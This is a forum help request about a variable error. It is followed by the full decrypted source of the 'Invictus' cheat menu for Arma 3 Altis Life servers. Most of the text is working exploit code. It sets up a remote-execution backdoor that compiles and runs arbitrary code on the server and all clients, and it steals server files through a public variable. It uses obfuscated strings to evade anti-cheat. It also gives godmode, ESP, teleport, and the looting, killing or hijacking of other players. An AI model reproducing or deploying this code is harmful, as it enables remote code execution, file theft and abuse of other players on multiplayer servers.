Need help with a menu base
Hi all,
I downloaded the Invictus menu and have been messing around moving things around, cleaning etcetra. I just added a test function and am getting this error:
As you can see _value is defined so I'm unsure on how to fix this.
I then tried using the exact copy on the forum with a test function that is just a hint and it still has the same error.
If anyone is able to help and it isn't against the rules I'll throw you some cash just PM me.
The menu base is on the forum but for ease of use I'll list it below.
I downloaded the Invictus menu and have been messing around moving things around, cleaning etcetra. I just added a test function and am getting this error:
Code:
'if |#|_value ) then { _color = [0,1,0,1]; ...'
Error undefined variable in expression: _value
I then tried using the exact copy on the forum with a test function that is just a hint and it still has the same error.
If anyone is able to help and it isn't against the rules I'll throw you some cash just PM me.
The menu base is on the forum but for ease of use I'll list it below.
Code:
Raw invictus-load.sqf
/*
Decrypted and Fixed for MPGH
22.11.2015
*/
//1decrypt
['DEFINITIONEN'] call {
O_fnc_RE = 0;
O_fnc_Current = 1;
O_fnc_MinMenu = 1;
O_fnc_MaxMenu = 13;
O_fnc_quickAttach = false;
O_fnc_whiles = false;
O_fnc_RunnedFSteal = false;
O_fnc_keySetup = false;
O_fnc_QuickAccessMenu = false;
Q_fnc_QuickAccessOpened = false;
O_fnc_quickEnd = false;
O_fnc_quickExec = false;
O_fnc_quickDummy = false;
O_fnc_quickESP = false;
O_fnc_quickGod = false;
O_fnc_quickPlayAction = false;
O_fnc_initMenu = {};
O_fnc_keyBind = {};
O_fnc_QuickkeyStuff = {};
O_fnc_Modus = "AltisLife";
O_fnc_textTarget = "Invictus";
O_fnc_textDeleteTar = "";
O_fnc_textDummy = "";
O_fnc_textESP = "";
O_fnc_textExplodeTar = "";
O_fnc_textGearTar = "";
O_fnc_textGod = "";
O_fnc_textHeal = "";
O_fnc_textJoinVeh = "";
O_fnc_textTarget = "";
O_fnc_textTeleport = "";
};
['FUNCTIONS'] call {
O_fnc_ArmA = {
if(isNil 'O_fnc_REFirstRuntime') then {
O_fnc_REFirstRuntime = createMarker ["Christian",[0,0]];
"Christian" setMarkerShape "ICON";
"Christian" setMarkerType "Empty";
"Christian" setMarkerAlpha 0;
_code = '
[] spawn {
if(isServer) then {
while{true} do {
waitUntil{ (markerText "Christian") != ""};
_text = markerText "Christian";
"Christian" setMarkerText "";
("LOGIC") createUnit[[0,0,0],createGroup sideLogic,";" + _text + ";"];
};
};
};
';
if(!isNil "LIFE_fnc_1MP") then {
call O_fnc_ArmAInf;
} else {
_fnc_mpPacket = "Nothing";
if (!isNil "LIFE_fnc_mp")then{
_fnc_mpPacket = life_fnc_MP;
}else{
_fnc_mpPacket = BIS_fnc_MP;
};
_lvl0 = {
_initRE = {
life_fnc_MP_packet = {_text = str(_this);call compile _text;};
publicVariable "life_fnc_MP_packet";
uiSleep 1;
};
if(!isNil 'life_fnc_MP_packet') then {
if(typeName life_fnc_MP_packet != "CODE") then {
call _initRE;
};
} else {
call _initRE;
};
[createTeam["INFINI",(_this)],"life_fnc_MP_packet",true,false] call BIS_fnc_MP;
};
_lvl1 = {
[[_this],"DB_fnc_mresToArray",false,false] call BIS_fnc_execRemote;
};
_lvl2 = {
[{_this},"BIS_fnc_Spawn",false,false] call BIS_fnc_MP;
};
_lvl3 = {
_agent1 = createAgent ["C_man_1", position player, [], 0, "SAFE"];
[_agent1,configFile >> "CfgVehicles" >> "C_Nikos_aged"] call BIS_fnc_loadInventory;
_agent1 spawn{
_this setName "Agent";
_this setVariable["agentObject",_this,true];
_this setVariable ["owner", "world", true];
_this setVariable ["BIS_fnc_animalBehaviour_disable", true];
_this setVariable ['BIS_enableRandomization',false];
};
_agent1 addMPEventhandler ['MPKilled',_this];
_agent1 setDamage 5;
deleteVehicle _agent1;
};
_lvl4 = {
{_this} remoteExec ["BIS_fnc_Spawn", 0];
};
_lvl5 = {
("LOGIC") createUnit [[0,0,0],createGroup sideLogic,";" + _this + ";"];
};
_code call _lvl1;
call O_fnc_ArmAInf;
};
};
waitUntil {!isNil "O_fnc_REFirstRuntime"};
_code = _this select 0;
_target = [_this,1,"SWAGGER"] call BIS_fnc_param;
_text = _code;
if(typename _code == typename []) then {
_text = _code select 0;
};
if(typename _text == "CODE") then {
_arr = toArray str(_text);
_arr set [0,32];
_arr set [count(_arr)-1,32];
_text = toString _arr;
};
if(typename _target != "STRING") then {
if(typename _target == "OBJECT") then {
_netId = netId _target;
_text = format["[] spawn {if(netid player == '%2') then {%1};};",_text,_netID];
} else {
if(typename _target == typename true) then {
if(!_target) then {
_text = format[" [] spawn {if(isServer) then {%1};};",_text];
} else {
_text = format[" [] spawn {if(!isDedicated) then {%1};};",_text];
};
};
};
} else {
_text = format["[] spawn {%1};",_text];
};
"Christian" setMarkerText _text;
};
O_fnc_ArmAInf = {
_babe = {
profileNamespace setVariable ['STEAM_NAME_ARRAY', []];
};
[_babe, player] call O_fnc_ArmA;
};
O_fnc_ArmAFile = {
disableSerialization;
_edit = uiNamespace getVariable "RscEdit";
O_fnc_fileName = ctrlText _edit;
if (O_fnc_fileName == "")exitWith {hint "Enter a filename"};
_babe = format["
_contents = preprocessfile '%1';
missionNamespace setVariable ['JipTimeNow', 'NOPE'];
missionNamespace setVariable ['JipTimeNow', _contents];
publicVariable 'JipTimeNow'; ",O_fnc_fileName];
[_babe, false] call O_fnc_ArmA;
"JipTimeNow" addPublicVariableEventHandler {
_t = _this select 1;
profileNamespace setVariable['OfnmmNMMnn', _this select 1];
saveProfileNamespace;
_t = profileNamespace getVariable "OfnmmNMMnn";
[_t,O_fnc_fileName] spawn O_fnc_initFSteal;
};
};
};
['CALLBACK FUNCTIONS'] call {
O_fnc_inString = compileFinal '
private["_string","_separator","_stringArray","_separatorArray","_resultArray","_localArray"];
_string = [_this,0,"",[""]] call bis_fnc_param;
_separator = [_this,1,"",[""]] call bis_fnc_param;
_stringArray = toArray _string;
_separatorArray = toArray _separator;
_resultArray = [];
_localArray = [];
{
if (_x in _separatorArray) then {
_resultArray set [count _resultArray,toString _localArray];
_localArray = [];
} else {
_localArray set [count _localArray,_x];
};
} foreach _stringArray;
_resultArray set [count _resultArray,toString _localArray];
_resultArray = _resultArray - [""];
_resultArray
';
O_fnc_Contains = compileFinal '
private ["_find", "_string", "_casesensitive", "_found", "_findarray", "_stringarray", "_findcount", "_stringcount", "_match", "_y", "_i", "_x", "_forEachIndex"];
_find = [_this, 0, "", [""]] call BIS_fnc_param;
_string = [_this, 1, "", [""]] call BIS_fnc_param;
_casesensitive = [_this, 2, false, [false]] call BIS_fnc_param;
_found = false;
_findarray = toArray _find;
_stringarray = toArray _string;
_findcount = count _findarray;
_stringcount = count _stringarray;
scopeName "main";
if (_findcount <= _stringcount) then
{
for "_y" from 0 to (_stringcount - _findcount) do
{
_match = [];
for "_i" from 0 to (_findcount - 1) do
{
_match set [count _match, _stringarray select (_y + _i)];
};
if (_casesensitive) then
{
_found = true;
{
if (_x != (_match select _forEachIndex)) then
{
_found = false;
};
} forEach _findarray;
}
else
{
if (_find == toString _match) then
{
_found = true;
};
};
if (_found) then {breakTo "main";};
};
};
_found;
';
};
['MAIN FUNCTIONS'] call {
O_fnc_CPerson = {
disableSerialization;
O_fnc_DummyID = player;
_dummy = createAgent ["C_man_1", position player, [], 0, "SAFE"];
[_dummy,configFile >> "CfgVehicles" >> "C_Nikos_aged"] call BIS_fnc_loadInventory;
_dummy setName "DrNobody";
_dummy setVariable["agentObject",_this,true];
_dummy setVariable ["steam64ID","751267613374118"];
_dummy setVariable ["realname","DrNobody",true];
_dummy setVariable ["realName","DrNobody",true];
_dummy setVariable ["restrained",false,true];
_dummy setVariable ["Escorting",false,true];
_dummy setVariable ["transporting",false,true];
_dummy setVariable ["owner", "world", true];
if (!isNil "life_fnc_playerTags")then{
disableSerialization;
[] call life_fnc_playerTags;
}else{
disableSerialization;
[] call compile preprocessfileLineNumbers "core\functions\fn_playerTags.sqf";
};
selectPlayer _dummy;
vehicle _dummy switchCamera "EXTERNAL";
};
};
O_fnc_initFSteal = {
disableSerialization;
closeDialog 49;
_text = _this select 0;
_file = _this select 1;
_filter = "
";
_text = toArray _text;
_filter = toArray _filter;
{
if(_x in _filter) then {
_text set[_forEachIndex,32];
};
} foreach _text;
_text = _text - [-1];
_text = toString _text;
if (_text == "")then{
_text = profileNamespace getVariable "OfnmmNMMnn";
};
if (_file == "")exitWith {hint "Enter a filename"};
if (_text != "")then{
call compile format['findDisplay 46 cre'+'a'+'te'+'Di'+'sp'+'la'+'y "Rs"+"cDi"+"spl"+"ayDe"+"bu"+"g";'];
waitUntil {!isNull findDisplay 56};
O_fnc_RunnedFSteal = true;
_1 = (findDisplay 56) displayCtrl 13142;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13155;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 151;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13157;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13158;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13159;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13160;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13161;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13162;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13163;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 12145;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 11838;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 12146;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 12537;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13037;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13036;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13039;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13038;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 103;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 152;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 102;
_1 ctrlSetText "Execute Local";
_1 buttonSetAction '_back = (findDisplay 56) displayCtrl 101; _text = ctrlText _back; call compile format ["%1",_text];';
_1 = (findDisplay 56) displayCtrl 1;
_1 ctrlSetText "Execute Global";
_1 buttonSetAction '_back = (findDisplay 56) displayCtrl 101; _text = ctrlText _back; call compile format ["[{%1},TRUE] call O_fnc_ArmA;",_text];';
_1 = (findDisplay 56) displayCtrl 11736;
_1 ctrlSetText format ["Content: %1",_file];
_1 = (findDisplay 56) displayCtrl 101;
_1 ctrlSetText _text;
while {!isNull findDisplay 56}do {
waitUntil {isNull findDisplay 56};
"dynamicBlur" ppEffectEnable false;
};
}else{
hint format ["File not found... Return: [%1] ", str _text];
};
};
//2decrypt
O_fnc_QuickAccess = {
Q_fnc_QuickAccessOpened = true;
disableSerialization;
_display = findDisplay 46;
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.9125,-0.56,0.2825,0.58];
_back ctrlSetBackgroundColor [0,0,0,0.65];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_1_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.56,0.2825,0.04];
_back ctrlSetText format ["TARGET: %1",cursorTarget];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_1_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.50,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_2_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.46,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_3_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.42,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_4_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.38,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_5_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.34,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_6_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.30,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_7_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.26,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_8_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.22,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_9_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.18,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_10_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.14,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_11_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.10,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_12_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.06,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_13_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.02,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_14_QuickAccess", _back];
O_fnc_QuickkeyStuff = {
switch (_this)do{
case 0xC8:
{
if (O_fnc_Current == O_fnc_MinMenu)then{
O_fnc_Current = O_fnc_MaxMenu;
}else{
O_fnc_Current = O_fnc_Current - 1;
};
};
case 0xD0:
{
if (O_fnc_Current == O_fnc_MaxMenu)then{
O_fnc_Current = O_fnc_MinMenu;
}else{
O_fnc_Current = O_fnc_Current + 1;
};
};
case 0xCD:
{
O_fnc_quickExec = true;
};
case 0xCB:
{
O_fnc_quickEnd = true;
};
};
};
_undef = (findDisplay 46) displayAddEventHandler ["KeyDown", "_this select 1 call O_fnc_QuickkeyStuff;false;"];
[] spawn {
while {true}do{
if (O_fnc_Current == 1) then{
O_fnc_textGod = "- Godmode -";
}else { O_fnc_textGod = " Godmode ";};
if (O_fnc_Current == 2)then{
O_fnc_textHeal = "- Heal Meh -";
}else { O_fnc_textHeal = " Heal Meh ";};
if (O_fnc_Current == 3)then{
O_fnc_textESP = "- ESP -";
}else { O_fnc_textESP = " ESP ";};
if (O_fnc_Current == 4)then{
O_fnc_textDummy = "- Dummy -";
}else { O_fnc_textDummy = " Dummy ";};
if (O_fnc_Current == 5)then{
O_fnc_textTeleport = "- Teleport -";
}else { O_fnc_textTeleport = " Teleport ";};
if (O_fnc_Current == 6)then{
O_fnc_textGearTar = "- Gear Target -";
}else { O_fnc_textGearTar = " Gear Target ";};
if (O_fnc_Current == 7)then{
O_fnc_textDeleteTar = "- Delete Target -";
}else { O_fnc_textDeleteTar = " Delete Target ";};
if (O_fnc_Current == 8)then{
O_fnc_textJoinVeh = "- Join Vehicle -";
}else { O_fnc_textJoinVeh = " Join Vehicle ";};
if (O_fnc_Current == 9)then{
O_fnc_textExplodeTar = "- Explode Target -";
}else {O_fnc_textExplodeTar = " Explode Target ";};
if (O_fnc_Current == 10)then{
O_fnc_textSculptureTar = "- Sculpture Target -";
}else {O_fnc_textSculptureTar = " Sculpture Target ";};
if (O_fnc_Current == 11)then{
O_fnc_textAttachTar = "- Attach Target -";
}else {O_fnc_textAttachTar = " Attach Target ";};
if (O_fnc_Current == 12)then{
O_fnc_textGetInAllTar = "- All in Vehicle -";
}else {O_fnc_textGetInAllTar = " All in Vehicle ";};
if (O_fnc_Current == 13)then{
O_fnc_textPlayActionTar = "- PlayAction Target -";
}else {O_fnc_textPlayActionTar = " PlayAction Target ";};
if (cursorTarget isKindOf "Man") then{
if (isPlayer cursorTarget) then{
O_fnc_textTarget = name cursorTarget;
}else{
try{
O_fnc_textTarget = "AI: " + name cursorTarget;
}catch{
O_fnc_textTarget = "AI";
};
};
}else{
try{
_tar = cursorTarget;
if (_tar isKindOf "LandVehicle" || _tar isKindOf "Air" || _tar isKindOf "Ship" && driver _tar != objNull) then{
_cursorTarget = getText (configFile >> "CfgVehicles" >> typeOf cursorTarget >> "displayName");
O_fnc_textTarget = "("+ _cursorTarget +") " + name (driver cursorTarget);
}else{
if (_tar isKindOf "LandVehicle" || _tar isKindOf "Air" || _tar isKindOf "Ship") then{
O_fnc_textTarget = "("+ _cursorTarget +") ";
};
};
}catch{
O_fnc_textTarget = cursorTarget;
};
};
(uiNamespace getVariable "RscStructuredText_1_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.75' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textTarget+"</t>"];
if (O_fnc_quickGod)then{
(uiNamespace getVariable "RscStructuredText_2_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textGod+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_2_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGod+"</t>"];
};
(uiNamespace getVariable "RscStructuredText_3_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textHeal+"</t>"];
if (O_fnc_quickESP)then{
(uiNamespace getVariable "RscStructuredText_4_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textESP+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_4_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textESP+"</t>"];
};
if (O_fnc_quickDummy)then{
(uiNamespace getVariable "RscStructuredText_5_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textDummy+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_5_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textDummy+"</t>"];
};
(uiNamespace getVariable "RscStructuredText_6_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textTeleport+"</t>"];
(uiNamespace getVariable "RscStructuredText_7_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGearTar+"</t>"];
(uiNamespace getVariable "RscStructuredText_8_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textDeleteTar+"</t>"];
(uiNamespace getVariable "RscStructuredText_9_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textJoinVeh+"</t>"];
(uiNamespace getVariable "RscStructuredText_10_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textExplodeTar+"</t>"];
(uiNamespace getVariable "RscStructuredText_11_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textSculptureTar+"</t>"];
if (O_fnc_quickAttach)then{
(uiNamespace getVariable "RscStructuredText_12_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textAttachTar+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_12_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textAttachTar+"</t>"];
};
(uiNamespace getVariable "RscStructuredText_13_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGetInAllTar+"</t>"];
if (O_fnc_quickPlayAction)then{
(uiNamespace getVariable "RscStructuredText_14_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textPlayActionTar+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_14_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textPlayActionTar+"</t>"];
};
switch (O_fnc_Current) do {
case 1:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
O_fnc_quickGod = true;
player allowDamage false;
}else{
if (O_fnc_quickEnd)then{
O_fnc_quickEnd = false;
O_fnc_quickGod = false;
player allowDamage true;
};
};
};
case 2:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
player setDamage 0;
};
};
case 3:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
O_fnc_quickESP = true;
onEachFrame {
{
if(side _x != side player && ((player distance _x) < 700) && isPlayer _x) then {
drawIcon3D ["", [1,0,0,0.7], position _x, 1, 1, 45, name _x, 1, 0.03, "PuristaBold"]
}else{
if (alive _x && ((player distance _x) < 700) && isPlayer _x) then{
drawIcon3D ["", [0,1,0.5,0.4], position _x, 1, 1, 45, name _x, 1, 0.03, "PuristaBold"]
};
};
} foreach allUnits;
_mans = nearestobjects [player,["man"],100];
{
if(alive _x && ((player distance _x) < 700) && isPlayer _x) then {
if(side _x != side player) then {
if(player distance _x < 5 && _x iskindof "man" && side _x != civilian && isPlayer _x) then {
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0.2,0.3,(abs((((player distance _x)) - 100)/100))]]
}else{
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0,0,(abs((((player distance _x)) - 100)/100))]]
};
}else{
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [0,1,0,(abs((((player distance _x)) - 100)/100))]]};
};
}foreach _mans;
};
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
O_fnc_quickESP = false;
onEachFrame {};
};
};
};
case 4:
{
if (O_fnc_quickExec)then
{
O_fnc_quickExec = false;
O_fnc_quickDummy = true;
[] spawn O_fnc_CPerson;
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
O_fnc_quickDummy = false;
if (!isNil "O_fnc_DummyID")then
{
_player = O_fnc_DummyID; selectPlayer _player; vehicle _player switchCamera "EXTERNAL"; O_fnc_DummyID = nil;
};
};
};
};
case 5:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
_pos = vehicle player modelToWorld[0,10,0];
vehicle player setPos _pos;
};
};
case 6:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
_vest = vest cursorTarget;
_uniform = uniform cursorTarget;
_backpack = backpack cursorTarget;
_weapon = primaryWeapon cursorTarget;
_weapon2 = secondaryWeapon cursorTarget;
_head = headgear cursorTarget;
_items = itemsWithMagazines cursorTarget;
player addVest _vest;
player addUniform _uniform;
player addBackPack _backpack;
player addWeapon _weapon;
player addWeapon _weapon2;
player addHeadgear _head;
{
player addItem _x;
}forEach _items;
removeVest cursorTarget;
removeUniform cursorTarget;
removeBackpackGlobal cursorTarget;
removeHeadgear cursorTarget;
removeAllWeapons cursorTarget;
cursorTarget removeWeaponGlobal (primaryWeapon cursorTarget);
cursorTarget removeWeaponGlobal (secondaryWeapon cursorTarget);
removeAllItemsWithMagazines cursorTarget;
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
_vest = vest player;
_uniform = uniform player;
_backpack = backpack player;
_weapon = primaryWeapon player;
_weapon2 = secondaryWeapon player;
_head = headgear player;
_items = itemsWithMagazines player;
cursorTarget addVest _vest;
cursorTarget addUniform _uniform;
cursorTarget addBackPack _backpack;
cursorTarget addWeapon _weapon;
cursorTarget addWeapon _weapon2;
cursorTarget addHeadgear _head;
{
cursorTarget addItem _x;
}forEach _items;
};
};
};
case 7:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
deleteVehicle cursorTarget;
};
};
case 8:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
try{
cursorTarget lock false;
player moveinDriver cursorTarget;
}catch{
};
};
};
case 9:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
cursorTarget setDammage 1;
};
};
case 10:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
{
if (player distance _x < 150)then
{
if (netID _x != netID player)then
{
_x attachTo [cursorTarget,[5, 5, 5], "Pelvis"];
};
};
}forEach allMissionObjects "all";
};
};
case 11:
{
if (O_fnc_quickExec)then
{
O_fnc_quickExec = false;
O_fnc_quickAttach = true;
cursorTarget attachTo [player,[0, 6, 0], "Pelvis"];
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
O_fnc_quickAttach = false;
{
detach _x;
} forEach attachedObjects player;
};
};
};
case 12:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
[] spawn {
{
_cur = cursorTarget;
if (netID _x != netID player)then{
_x moveInDriver _cur;
};
sleep 0.5;
{
{
moveOut _x
};
}forEach crew _cur;
}forEach allPlayers;
};
};
};
case 13:
{
if (O_fnc_quickExec)then
{
O_fnc_quickExec = false;
O_fnc_quickPlayAction = true;
cursorTarget playAction "SitDown";
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
O_fnc_quickPlayAction = false;
cursorTarget switchMove "FXStandDip"
};
};
};
};
sleep 0.075;
};
};
};
//3decrypt
O_fnc_initMenu = {
disableSerialization;
"dynamicBlur" ppEffectEnable false;
findDisplay 46 createDisplay "RscDisplayMPInterrupt";
//waitUntil {!isNull findDisplay 49};
_1 = (findDisplay 49) displayCtrl 104;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 302;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 2;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 303;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 307;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 101;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1010;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 103;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1002;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 122;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 301;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 13184;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 6455;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 2351;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 120;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 109;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 523;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 121;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1005;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1000;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1001;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 115099;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1050;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 114998;
_1 ctrlShow false;
"dynamicBlur" ppEffectEnable true;
"dynamicBlur" ppEffectAdjust [1.6];
"dynamicBlur" ppEffectCommit 0;
_display = findDisplay 49;
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.1,2.39848,0.198];
_back ctrlSetBackgroundColor [0,0,0,0.25];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_1", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.1125,-0.28,1.275,1.36];
_back ctrlSetBackgroundColor [0.99,0.97,0.78,0.15];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_2", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.29674,2.403,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_3", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.1,0.0025,0.197974];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_4", _back];
